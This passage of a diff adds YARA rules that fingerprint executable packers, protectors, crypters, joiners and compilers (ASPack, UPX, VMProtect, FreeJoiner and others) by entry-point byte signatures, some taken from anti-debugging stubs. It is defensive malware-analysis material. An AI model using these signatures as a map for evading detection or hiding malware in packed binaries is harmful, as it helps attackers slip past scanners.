+		$0 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED D5 E4 41 00 8B D5 81 C2 23 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3}
+		$1 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00}
+		$2 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED A5 E5 41 00 8B D5 81 C2 F3 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? B9 F0 FE 41 00 81 E9 93 E6 41 00 8B D5 81 C2 93 E6 41 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 33 C0 64 FF 30 64 89 20 CC C3 90 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 9C}
+		$3 = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED A5 E5 41 00 8B D5 81 C2 F3 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? B9 F0 FE 41 00 81 E9 93 E6 41 00 8B D5 81 C2 93 E6 41 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 33 C0 64 FF 30 64 89 20 CC C3 90 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _CubiComp_PictureMaker_graphics_format_red_
+{
+	meta:
+		description = "CubiComp PictureMaker graphics format (red)"
+	strings:
+		$0 = {16 0C FF 02 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DJoin_07_public_xor_encryption__drmist_
+{
+	meta:
+		description = "DJoin 0.7 public (xor encryption) -> drmist"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _COM2TXT_100_
+{
+	meta:
+		description = "COM2TXT 1.00"
+	strings:
+		$0 = {54 58 50 50 50 2D 68 68 2D 67 67 2D 63 30 50 5F 58 33 45 30 5F 5F 35 4F 31 35 30 30 50 5F 2D 78 73 2C 67 31 45 68 35 33 31 35 78 6D 50 2D 3A 70 35 50 65 50 75 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00 2D 68 38 35 38 4F 50 35 36 31 2D 30 70}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_PEtite_22__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PEtite 2.2) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 B8 00 00 00 00 68 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50}
+		$1 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 B8 00 00 00 00 68 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _VMProtect_1704_phpbb3_
+{
+	meta:
+		description = "VMProtect 1.70.4-> phpbb3"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MingWin32__Dev_Cpp_v4991_
+{
+	meta:
+		description = "MingWin32 - Dev C++ v4.9.9.1"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 ?? ?? 00 00 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v212__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.12 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_PE_Protect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Protect 0.9] --> Anorganix"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PEnguinCrypt_v10_
+{
+	meta:
+		description = "PEnguinCrypt v1.0"
+	strings:
+		$0 = {B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB}
+		$1 = {B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nbuild_v10_soft_
+{
+	meta:
+		description = "nbuild v1.0 [soft"
+	strings:
+		$0 = {B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2}
+		$1 = {B9 ?? ?? BB ?? ?? C0 ?? ?? 80 ?? ?? 43 E2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BeRoEXEPacker_v100_DLL_LZBRR__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 DLL [LZBRR] -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptoLock_V202_Eng__Ryan_Thian_
+{
+	meta:
+		description = "Crypto-Lock V2.02 (Eng) -> Ryan Thian"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1}
+		$1 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MEW_5_10__Northfox_
+{
+	meta:
+		description = "MEW 5 1.0 -> Northfox"
+	strings:
+		$0 = {BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0}
+		$1 = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressorPacK_150X__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor.PacK 1.5.0.X -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04}
+		$1 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NoobyProtect_1x__1710__Nooby_
+{
+	meta:
+		description = "NoobyProtect 1.x - 1.7.1.0 -> Nooby"
+	strings:
+		$0 = {00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20}
+	condition:
+		$0 at entrypoint
+}
+rule _ProPack_208_m1_EXE_
+{
+	meta:
+		description = "ProPack 2.08 -m1 [EXE]"
+	strings:
+		$0 = {8C D3 8E C3 8C CA 8E DA 8B 0E 08 00 8B F1 83 EE 02 8B FE D1 E9 FD F3 A5 53 B8 2E 00 50 8B 2E 0A 00 CB B8 00 10 3B C5 76 02 8B C5 2B E8 2B D0 2B D8 8E DA 8E C3 B1 03 D3 E0 8B C8 D1 E0 48 48 8B F0 8B F8 F3 A5 0B ED 75 D9 FC 8E C2 8E DB 83 EC}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_030_EXE_
+{
+	meta:
+		description = "UPX 0.30 [EXE]"
+	strings:
+		$0 = {8C CB B9 00 00 BE 00 00 89 F7 1E A9 B5 80 8D 87 05 00 8E D8 05 00 00 8E C0 FD F3 A5 FC 2E 80 6C 13 10 73 E8 AF AD 0E 0E 0E 06 1F 07 16 68 00 00 BD FF FF F7 E1 93 CB 55 50 58 21 04 03 02 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_or_Borland_Cpp_
+{
+	meta:
+		description = "Turbo C or Borland C++"
+	strings:
+		$0 = {BA ?? ?? 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXShit_006_
+{
+	meta:
+		description = "UPXShit 0.06"
+	strings:
+		$0 = {B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF}
+		$1 = {B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _kryptor_8_
+{
+	meta:
+		description = "kryptor 8"
+	strings:
+		$0 = {EB 6A 87 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PEX_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PEX 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _North_Star_PE_Shrinker_v13_by_Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker v1.3 by Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 A3 ?? FF FF 85 C0 0F 84 06 03 00 00 89 85 63 ?? FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD 47 ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 A7 ?? FF FF FF B5 A3 ?? FF FF 56 57 FF 95 63 ?? FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF B5 63 ?? FF FF FF 95 A7 ?? FF FF 8D}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Cruncher_10_
+{
+	meta:
+		description = "Cruncher 1.0"
+	strings:
+		$0 = {2E 8C 1E 00 00 2E A3 02 00 B4 30 CD 21 3C 03 73 12 BB 51 00 8E DB 8D 16 B4 00 B4 09 CD 21 06 33 C0 50 CB BB 51 00 8E C3 BF B3 00 8B 1E 2C 00 0B DB 74 DE 8E DB BE 00 00 83 3C 00 74 03 46 EB F8 83 C6 04 AC AA 0A C0 75 FA BB 51 00 8E C3 8E DB}
+	condition:
+		$0 at entrypoint
+}
+rule _RSCs_Process_Patcher_v151_
+{
+	meta:
+		description = "R!SC's Process Patcher v1.5.1"
+	strings:
+		$0 = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83 C6 40 83 7E FC 00 0F 84 8F 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 E5 00 00 00 81 FF 72 21 73 63 74 7A 0F B7 1E 8B CF 8D 7E 02 C7 05 24 21 40 00 00 00 00 00 83 05 24 21 40 00 01 50 A1 28 21 40 00 39 05 24 21 40 00 58 0F 84 D8 00 00 00 60 6A 00 53 68 2C 21 40 00 51 FF 35 C4 20 40 00 E8 0A 01 00 00 61 60 FC BE 2C 21 40 00 8B CB F3 A6 61 75 C2 03 FB 60 E8 3E 00 00 00 6A 00 53 57 51 FF 35 C4 20 40 00 E8 FB 00 00 00 85 C0 0F 84 A2 00 00 00 61 03 FB 8B F7 E9 71 FF FF FF 60 FF 35 C8 20 40 00 E8 CB 00 00 00 61 C7 05}
+		$1 = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PseudoSigner_01_Stelth_PE_101_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Ste@lth PE 1.01"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SVK_Protector_V13X__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector V1.3X -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeJoiner_151__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.1 -> GlOFF"
+	strings:
+		$0 = {90 87 FF 90 90 B9 2B 00 00 00 BA 07 10 40 00 83 C2 03 90 87 FF 90 90 B9 04 00 00 00 90 87 FF 90 33 C9 C7 05 09 30 40 00 00 00 00 00 68 00 01 00 00 68 21 30 40 00 6A 00 E8 B7 02 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 21 30 40 00 E8}
+		$1 = {90 87 FF 90 90 B9 2B 00 00 00 BA 07 10 40 00 83 C2 03 90 87 FF 90 90 B9 04 00 00 00 90 87 FF 90 33 C9 C7 05 09 30 40 00 00 00 00 00 68 00 01 00 00 68 21 30 40 00 6A 00 E8 B7 02 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 21 30 40 00 E8 8F 02 00 00 A3 19 30 40 00 90 87 FF 90 8B 15 09 30 40 00 81 C2 04 01 00 00 F7 DA 6A 02 6A 00 52}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V033V034__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.33-V0.34 -> Dwing   * 20080321"
+	strings:
+		$0 = {57 51 58 8D 54 83 58 FF 16 72 5C 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF C1 ED ?? C1 E5 08 8D 6C 6D 00 8D AC AB 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 AC 33 C9 E9 03 01 00 00 B1 30 8B 6B 08 03 D1 FF 16 73 51 03 D1 FF 16 72 1B 03 D1 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 43 08 8A 00 E9 D5 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 3C 07 B0 08 72 02 B0 0B 50 55 8D 93 78 07 00 00 FF 56 B0 5D 91 E9 99 00 00 00 3C 07 B0 07 72 02 B0 0A 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 B0 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 A8 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 88 E2 E3}
+	condition:
+		$0
+}
+rule _Unknown_packer_04_
+{
+	meta:
+		description = "Unknown packer (04)"
+	strings:
+		$0 = {BC ?? ?? C3 2E FF 2E ?? ?? CF}
+	condition:
+		$0 at entrypoint
+}
+rule _ARCSFX_Archive_
+{
+	meta:
+		description = "ARC-SFX Archive"
+	strings:
+		$0 = {8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8}
+		$1 = {8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_082_d_EXE_
+{
+	meta:
+		description = "aPack 0.82 -d [EXE]"
+	strings:
+		$0 = {8C CB BA 00 00 03 DA 8D 87 00 00 FC 33 F6 33 FF 48 4B 8E C0 8E DB B9 08 00 F3 A5 4A 75 EE 8E C3 8E D8 33 FF BE 2F 00 05 00 00 0E 50 6A 00 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimys_Protect_v10_
+{
+	meta:
+		description = "hmimys Protect v1.0"
+	strings:
+		$0 = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9}
+		$1 = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00}
+		$2 = {E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _Private_exe_Protector_20__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector 2.0 -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_V131Eng__dulekxt_
+{
+	meta:
+		description = "FSG V1.31(Eng) -> dulek/xt"
+	strings:
